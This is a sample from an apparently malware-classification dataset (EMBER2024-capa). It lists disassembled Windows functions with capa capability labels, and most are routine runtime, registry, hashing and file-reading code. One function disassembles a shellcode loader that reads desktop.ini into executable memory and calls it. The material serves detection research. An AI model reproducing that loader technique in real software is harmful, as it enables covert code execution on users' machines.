joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2e048c53
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
xor ebx, ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
cmp esi, ebx
je 0x2e048cc3
push esi
lea eax, [ebp - 4]
push eax
call fcn.2e0421ed
test eax, eax
je 0x2e048cc3
push dword [ebp - 4]
push esi
push ebx
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x2e048cbb
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x2e00407c
push dword [ebp - 4]
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x2e048cbb
cmp dword [ebp - 8], ebx
je 0x2e048cbb
mov esi, dword [ebp - 0xc]
push edi
mov edi, dword [ebp + 0xc]
push 0xd
pop ecx
rep movsd dword es:[edi], dword [esi]
mov bl, 1
pop edi
push dword [ebp - 4]
call fcn.2e0422f4
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x2e04a558
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x2e0b1da0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x2e04a62b
cmp dword [ebp - 0x90], 2
mov ecx, dword [ebp - 0x98]
mov al, byte [ebp - 6]
push esi
mov dword [0x2e0b8afc], ecx
mov byte [0x2e0b8b02], al
jne 0x2e04a617
mov eax, dword [ebp - 0x9c]
mov dx, word [ebp - 0xc]
mov dword [0x2e0b8af8], eax
mov word [0x2e0b8b00], dx
cmp eax, 5
jne 0x2e04a5f9
mov esi, 0x2e0097ac
cmp ecx, 1
jae 0x2e04a5db
push 0
push esi
push 0x3535796e
push esi
call fcn.2e04766b
cmp dword [ebp - 0x98], 1
jne 0x2e04a5f9
cmp word [ebp - 0xc], 1
ja 0x2e04a5f9
push 0
push esi
push 0x3535796f
push esi
call fcn.2e04766b
movzx eax, word [ebp - 8]
mov ecx, eax
and ecx, 0x110
and eax, 0x100
mov dword [0x2e0b8b08], ecx
mov dword [0x2e0b8b0c], eax
jmp 0x2e04a62a
push 0
mov esi, 0x2e0097ac
push esi
push 0x31343461
push esi
call fcn.2e04766b
pop esi
push 0x56
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, dword [ebp - 4]
neg eax
sbb eax, eax
neg eax
xor ecx, ebp
mov dword [0x2e0b8b04], eax
call fcn.2e056514
leave
ret

Function at 0x2e04a725
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x2e04a73f
test al, 0x10
je 0x2e04a73f
xor eax, eax
inc eax
jmp 0x2e04a741
xor eax, eax
pop ebp
ret 4
Function at 0x2e04a83e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push 0x2e0142d0
push reloc.OLEAUT32.dll_SysReAllocString
xor edi, edi
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x2e04a8b4
push esi
push esi
lea eax, [ebp - 8]
push eax
push esi
push 0x2e0142b8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x2e04a8ab
cmp dword [ebp - 8], 1
jne 0x2e04a8ab
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x2e009978
call esi
test eax, eax
jne 0x2e04a8a8
push 0x2e009964
call esi
test eax, eax
je 0x2e04a8ab
xor edi, edi
inc edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x2e04a8ba
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x2e0b1da0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0x224], esi
call fcn.2e04a656
test eax, eax
je 0x2e04a9d5
push ebx
push edi
lea eax, [ebp - 0x218]
push eax
push 0x20019
push esi
mov ebx, 0x2e014350
push ebx
mov dword [ebp - 0x218], esi
mov dword [ebp - 0x214], esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, reloc.OLEAUT32.dll_SysReAllocString
push edi
call esi
test eax, eax
jne 0x2e04a9d3
lea eax, [ebp - 0x214]
push eax
push 0x20119
push 0
push ebx
push edi
call esi
test eax, eax
jne 0x2e04a9c7
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x21c]
push eax
push 0
mov edi, 0x2e01433c
push edi
push dword [ebp - 0x218]
mov ebx, 0x20a
mov dword [ebp - 0x220], ebx
call esi
test eax, eax
jne 0x2e04a9bb
cmp dword [ebp - 0x21c], 1
jne 0x2e04a9bb
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x21c]
push eax
push 0
push edi
push dword [ebp - 0x214]
mov dword [ebp - 0x220], ebx
call esi
test eax, eax
jne 0x2e04a9bb
xor esi, esi
inc esi
cmp dword [ebp - 0x21c], esi
jne 0x2e04a9bb
call fcn.2e04a83e
test eax, eax
jne 0x2e04a9bb
mov dword [ebp - 0x224], esi
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x218]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x224]
xor ecx, ebp
pop esi
call fcn.2e056514
leave
ret
Function at 0x2e050f9a
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x2e0b1da0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x804]
push 0x7ff
push eax
call fcn.2e057fe3
add esp, 0x10
lea eax, [ebp - 0x804]
push eax
mov byte [ebp - 5], 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.2e056514
leave
ret

Function at 0x2e054715
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
mov esi, ecx
xor ecx, ecx
mov eax, 0x2e0b9c84
inc ecx
lock xadd dword [eax], ecx
inc ecx
cmp ecx, 1
jne 0x2e054766
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x28]
mov dword [0x2e0b9c88], eax
mov ax, word [ebp - 0x30]
mov word [0x2e0b9c8c], ax
mov eax, dword [ebp - 0x18]
mov dword [0x2e0b9c90], eax
mov eax, dword [ebp - 0x40]
mov dword [0x2e0b9c94], eax
mov eax, esi
pop esi
leave
ret

Function at 0x2e056514
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x2e0b1da0]
jne 0x2e05c300
repz ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x2e0ba250], eax
mov dword [0x2e0ba24c], ecx
mov dword [0x2e0ba248], edx
mov dword [0x2e0ba244], ebx
mov dword [0x2e0ba240], esi
mov dword [0x2e0ba23c], edi
mov word [0x2e0ba268], ss
mov word [0x2e0ba25c], cs
mov word [0x2e0ba238], ds
mov word [0x2e0ba234], es
mov word [0x2e0ba230], fs
mov word [0x2e0ba22c], gs
pushfd
pop dword [0x2e0ba260]
mov eax, dword [ebp]
mov dword [0x2e0ba254], eax
mov eax, dword [ebp + 4]
mov dword [0x2e0ba258], eax
lea eax, [ebp + 8]
mov dword [0x2e0ba264], eax
mov eax, dword [ebp - 0x320]
mov dword [0x2e0ba1a0], 0x10001
mov eax, dword [0x2e0ba258]
mov dword [0x2e0ba154], eax
mov dword [0x2e0ba148], 0xc0000409
mov dword [0x2e0ba14c], 1
mov eax, dword [0x2e0b1da0]
mov dword [ebp - 0x328], eax
mov eax, dword [0x2e0b1da4]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x2e0ba198], eax
push 1
call fcn.2e059bb5
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x2e0242ac
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x2e0ba198], 0
jne 0x2e05c3ec
push 1
call fcn.2e059bb5
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x2e060a5a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.2e059355
and dword [ebp - 4], 0
cmp dword [0x2e0ba610], 0
mov ebx, eax
jne 0x2e060b0b
push 0x2e02435c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x2e060bbc
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x2e024350
push edi
call esi
test eax, eax
je 0x2e060bbc
push eax
call fcn.2e0592e3
mov dword [esp], 0x2e024340
push edi
mov dword [0x2e0ba610], eax
call esi
push eax
call fcn.2e0592e3
mov dword [esp], 0x2e02432c
push edi
mov dword [0x2e0ba614], eax
call esi
push eax
call fcn.2e0592e3
mov dword [esp], 0x2e024310
push edi
mov dword [0x2e0ba618], eax
call esi
push eax
call fcn.2e0592e3
pop ecx
mov dword [0x2e0ba620], eax
test eax, eax
je 0x2e060b0b
push 0x2e0242f8
push edi
call esi
push eax
call fcn.2e0592e3
pop ecx
mov dword [0x2e0ba61c], eax
mov eax, dword [0x2e0ba61c]
cmp eax, ebx
je 0x2e060b63
cmp dword [0x2e0ba620], ebx
je 0x2e060b63
push eax
call fcn.2e05935e
push dword [0x2e0ba620]
mov esi, eax
call fcn.2e05935e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x2e060b63
test edi, edi
je 0x2e060b63
call esi
test eax, eax
je 0x2e060b5a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x2e060b5a
test byte [ebp - 0xc], 1
jne 0x2e060b63
or dword [ebp + 0x10], 0x200000
jmp 0x2e060b9c
mov eax, dword [0x2e0ba614]
cmp eax, ebx
je 0x2e060b9c
push eax
call fcn.2e05935e
pop ecx
test eax, eax
je 0x2e060b9c
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x2e060b9c
mov eax, dword [0x2e0ba618]
cmp eax, ebx
je 0x2e060b9c
push eax
call fcn.2e05935e
pop ecx
test eax, eax
je 0x2e060b9c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x2e0ba610]
call fcn.2e05935e
pop ecx
test eax, eax
je 0x2e060bbc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x2e060bbe
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x2e06baac
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x2e0b1da0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x2e06bae3
push 4
pop eax
jmp 0x2e06bb5d
push 2
pop ecx
cmp dword [ebp - 0x88], ecx
jne 0x2e06bb2e
push 4
pop eax
cmp dword [ebp - 0x94], eax
jne 0x2e06bb01
mov dword [esi], 3
jmp 0x2e06bb5b
cmp dword [ebp - 0x94], 5
jne 0x2e06bb26
cmp dword [ebp - 0x90], 0
je 0x2e06bb22
xor eax, eax
cmp dword [ebp - 0x90], 1
setne al
add eax, 5
mov dword [esi], eax
jmp 0x2e06bb5b
mov dword [esi], 6
jmp 0x2e06bb5b
xor eax, eax
inc eax
cmp dword [ebp - 0x88], eax
jne 0x2e06bb5b
cmp dword [ebp - 0x90], 0
je 0x2e06bb58
cmp dword [ebp - 0x90], 0xa
je 0x2e06bb22
cmp dword [ebp - 0x90], 0x5a
jne 0x2e06bb5b
mov dword [esi], ecx
jmp 0x2e06bb5b
and dword [esi], 0
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.2e056514
leave
ret 4
Function at 0x2e06d06b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 0x14]
push eax
call fcn.2e06baac
cmp eax, 4
jne 0x2e06d083
xor al, al
leave
ret
cmp dword [ebp - 0x14], 2
jle 0x2e06d08d
mov al, 1
leave
ret
push ebx
lea eax, [ebp - 0xc]
push eax
push 1
xor ebx, ebx
push ebx
push 0x2e025648
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
je 0x2e06d0b9
cmp eax, 2
sete bl
jmp 0x2e06d13f
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
mov edi, 0x2e009870
push edi
push dword [ebp - 0xc]
mov dword [ebp - 8], ebx
call esi
cmp eax, ebx
je 0x2e06d0e2
cmp eax, 2
sete bl
jmp 0x2e06d13d
mov eax, dword [ebp - 8]
inc eax
push eax
call fcn.2e05776b
pop ecx
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x2e06d13d
lea ecx, [ebp - 8]
push ecx
push eax
push ebx
push ebx
push edi
push dword [ebp - 0xc]
call esi
cmp eax, ebx
je 0x2e06d10d
cmp eax, 2
sete bl
jmp 0x2e06d134
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
push 0x76
push esi
mov byte [eax + esi], bl
call fcn.2e065dbe
pop ecx
pop ecx
test eax, eax
jne 0x2e06d134
push 0x56
push esi
call fcn.2e065dbe
pop ecx
pop ecx
test eax, eax
jne 0x2e06d134
mov bl, 1
push dword [ebp - 0x10]
call fcn.2e057776
pop ecx
pop edi
pop esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret
Function at 0x40b801
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x411a00
cmp edx, dword [eax]
je 0x40b823
add eax, 8
inc ecx
cmp eax, 0x411a90
jl 0x40b814
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x411a00]
jne 0x40b951
mov eax, dword [0x41911c]
cmp eax, 1
je 0x40b92b
test eax, eax
jne 0x40b854
cmp dword [0x411488], 1
je 0x40b92b
cmp edx, 0xfc
je 0x40b951
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40b88b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00408740
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00408910
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40b8ce
lea eax, [ebp - 0x1a4]
push eax
call fcn.00408910
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x41050c
push edi
call fcn.00408fa0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00408740
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00408750
lea eax, [ebp - 0xa0]
push 0x4104ec
push eax
call fcn.00408750
push dword [esi + 0x411a04]
lea eax, [ebp - 0xa0]
push eax
call fcn.00408750
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040e2c6
add esp, 0x2c
pop edi
jmp 0x40b951
lea eax, [ebp + 8]
lea esi, [esi + 0x411a04]
push 0
push eax
push dword [esi]
call fcn.00408910
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000117f
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011aa
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x100011fd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x10001490
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x68
mov eax, dword [0x100598e8]
xor eax, esp
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x6c]
xor ecx, ecx
push esi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], ecx
push eax
mov eax, dword [esp + 0x78]
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x67452301
mov dword [esp + 0x10], 0xefcdab89
mov dword [esp + 0x14], 0x98badcfe
mov dword [esp + 0x18], 0x10325476
call fcn.10005360
add esp, 4
lea esi, [esp + 8]
mov ecx, edi
call fcn.10005400
mov ecx, dword [esp + 0x64]
pop esi
xor ecx, esp
call fcn.10031770
add esp, 0x68
ret
Function at 0x10001620
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0x20119
xor edi, edi
push edi
push 0x10051ee8
push 0x80000002
mov ebx, ecx
mov dword [esp + 0x30], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100017b1
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
lea ecx, [esp + 0x10]
push ecx
mov dword [esi + 0x10], eax
push ebx
mov dword [esi + 0x14], eax
lea edx, [esp + 0x1c]
push edx
mov dword [esi + 0x18], eax
push eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov eax, dword [esp + 0x28]
push 0x10051f24
mov edi, 0x400
push eax
mov dword [esp + 0x28], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100016b3
cmp dword [esp + 0x14], 1
jne 0x10001798
mov eax, dword [esp + 0x10]
sub edi, eax
mov dword [esi], ebx
lea ebx, [eax + ebx]
je 0x10001798
mov eax, dword [esp + 0x18]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [esp + 0x10]
push ecx
push ebx
lea edx, [esp + 0x1c]
push edx
push 0
push 0x10051f38
push eax
mov dword [esp + 0x28], edi
call ebp
test eax, eax
jne 0x100016f8
cmp dword [esp + 0x14], 1
jne 0x10001798
mov eax, dword [esp + 0x10]
mov dword [esi + 4], ebx
sub edi, eax
add ebx, eax
test edi, edi
je 0x10001798
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x10]
push ecx
push ebx
lea edx, [esp + 0x1c]
push edx
push 0
push 0x10051f4c
push eax
mov dword [esp + 0x28], edi
call ebp
test eax, eax
jne 0x1000172f
cmp dword [esp + 0x14], 1
jne 0x10001798
mov eax, dword [esp + 0x10]
mov dword [esi + 8], ebx
sub edi, eax
add ebx, eax
test edi, edi
je 0x10001798
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x10]
push ecx
push ebx
lea edx, [esp + 0x1c]
push edx
push 0
push 0x10051f6c
push eax
mov dword [esp + 0x28], edi
call ebp
test eax, eax
jne 0x10001798
cmp dword [esp + 0x14], 3
jne 0x10001798
mov eax, dword [esp + 0x10]
sub edi, eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], ebx
je 0x10001798
lea eax, [esi + 0xc]
call fcn.10001500
test eax, eax
je 0x10001798
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov ecx, 0x400
sub ecx, edi
push eax
mov dword [edx], ecx
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x10001bd0
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x6c
mov eax, dword [0x100598e8]
xor eax, esp
mov dword [esp + 0x68], eax
push esi
lea eax, [esp + 8]
mov esi, edx
push eax
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x14]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x18], 0x67452301
mov dword [esp + 0x1c], 0xefcdab89
mov dword [esp + 0x20], 0x98badcfe
mov dword [esp + 0x24], 0x10325476
call fcn.10003ec0
add esp, 8
test eax, eax
jne 0x10001c3b
pop esi
mov ecx, dword [esp + 0x68]
xor ecx, esp
call fcn.10031770
add esp, 0x6c
ret
mov eax, dword [esp + 0x74]
test eax, eax
jbe 0x10001c50
push esi
lea ecx, [esp + 0x14]
call fcn.10005360
add esp, 4
lea esi, [esp + 0x10]
mov ecx, ebx
call fcn.10005400
test edi, edi
je 0x10001c6e
mov ecx, dword [esp + 0xc]
xor eax, eax
cmp ecx, dword [esp + 8]
sete al
mov dword [edi], eax
mov ecx, dword [esp + 0x6c]
pop esi
xor ecx, esp
mov eax, 1
call fcn.10031770
add esp, 0x6c
ret

Function at 0x10001ce0
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x64
mov eax, dword [0x100598e8]
xor eax, esp
mov dword [esp + 0x5c], eax
xor eax, eax
push esi
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
push edi
lea eax, [esp + 8]
mov edi, ecx
push eax
mov dword [esp + 0xc], 0x67452301
mov dword [esp + 0x10], 0xefcdab89
mov dword [esp + 0x14], 0x98badcfe
mov dword [esp + 0x18], 0x10325476
call fcn.100040c0
add esp, 4
test eax, eax
jne 0x10001d3e
pop edi
pop esi
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.10031770
add esp, 0x64
ret
lea esi, [esp + 8]
mov ecx, ebx
call fcn.10005400
mov ecx, dword [esp + 0x64]
pop edi
pop esi
xor ecx, esp
mov eax, 1
call fcn.10031770
add esp, 0x64
ret

Function at 0x10001d60
Capabilities:
Hash data using sha256

Disassembly:
sub esp, 0x74
mov eax, dword [0x100598e8]
xor eax, esp
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x78]
xor ecx, ecx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], ecx
push edi
lea ecx, [esp + 8]
push ecx
push eax
mov dword [esp + 0x10], 0x6a09e667
mov dword [esp + 0x14], 0xbb67ae85
mov dword [esp + 0x18], 0x3c6ef372
mov dword [esp + 0x1c], 0xa54ff53a
mov dword [esp + 0x20], 0x510e527f
mov dword [esp + 0x24], 0x9b05688c
mov dword [esp + 0x28], 0x1f83d9ab
mov dword [esp + 0x2c], 0x5be0cd19
call fcn.100041b0
add esp, 8
test eax, eax
jne 0x10001ddf
pop edi
mov ecx, dword [esp + 0x70]
xor ecx, esp
call fcn.10031770
add esp, 0x74
ret
mov eax, esi
lea edi, [esp + 8]
call fcn.10004f40
mov ecx, dword [esp + 0x74]
pop edi
xor ecx, esp
mov eax, 1
call fcn.10031770
add esp, 0x74
ret

Function at 0x100027d0
Capabilities:
Read file on windows

Disassembly:
push ecx
push 0
lea eax, [esp + 4]
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10002802
push 0x10052064
push 0xfc
push 0x10052044
xor edx, edx
call fcn.10006290
add esp, 0xc
xor eax, eax
pop ecx
ret
cmp esi, dword [esp]
je 0x10002827
push 0x10052080
push 0xfe
push 0x10052044
mov edx, 1
call fcn.100063c0
add esp, 0xc
xor eax, eax
pop ecx
ret
mov eax, 1
pop ecx
ret
Function at 0x10003150
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x28
mov eax, dword [0x100598e8]
xor eax, esp
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x38]
push ebx
push ebp
xor ebx, ebx
push esi
mov esi, ecx
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
cmp eax, ebx
jne 0x10003183
mov dword [esp + 0x10], 0xffffffff
jmp 0x10003189
mov eax, dword [eax]
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
push ebx
push ebx
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x10003278
push 0
lea edx, [esp + 0x1c]
push edx
push 8
lea eax, [esp + 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x100031db
push 0x10052064
push 0xfc
push 0x10052044
xor edx, edx
call fcn.10006290
add esp, 0xc
jmp 0x100032ae
mov eax, 8
cmp dword [esp + 0x18], eax
je 0x10003205
push 0x10052080
push 0xfe
lea edx, [eax - 7]
push 0x10052044
call fcn.100063c0
add esp, 0xc
jmp 0x100032ae
cmp dword [esp + 0x40], ebx
je 0x1000324b
mov ebx, eax
cmp dword [esp + 0x10], eax
jae 0x10003231
push 0x10052134
push 0x321
mov edx, 5
push 0x10052044
call fcn.100063c0
add esp, 0xc
jmp 0x100032ae
mov ecx, dword [esp + 0x24]
mov dx, word [esp + 0x28]
mov dword [esi], ecx
mov cx, word [esp + 0x2a]
mov word [esi + 4], dx
mov word [esi + 6], cx
jmp 0x100032a6
mov esi, dword [esp + 0x24]
cmp esi, dword [esp + 0x10]
jbe 0x10003263
push 0x10052134
mov ebx, esi
push 0x32d
jmp 0x1000321d
mov edx, dword [esp + 0x38]
xor ebx, ebx
push ebx
push ebx
push ebp
push edx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x10003293
push 0x10052018
push 0xf9
push 0x10052044
xor edx, edx
call fcn.10006290
add esp, 0xc
jmp 0x100032ae
mov ecx, dword [esp + 0x20]
mov edx, edi
call fcn.100027d0
test eax, eax
je 0x100032ae
mov ebx, dword [esp + 0x24]
mov dword [esp + 0x14], 1
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x100032b8
mov dword [eax], ebx
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x14]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10031770
add esp, 0x28
ret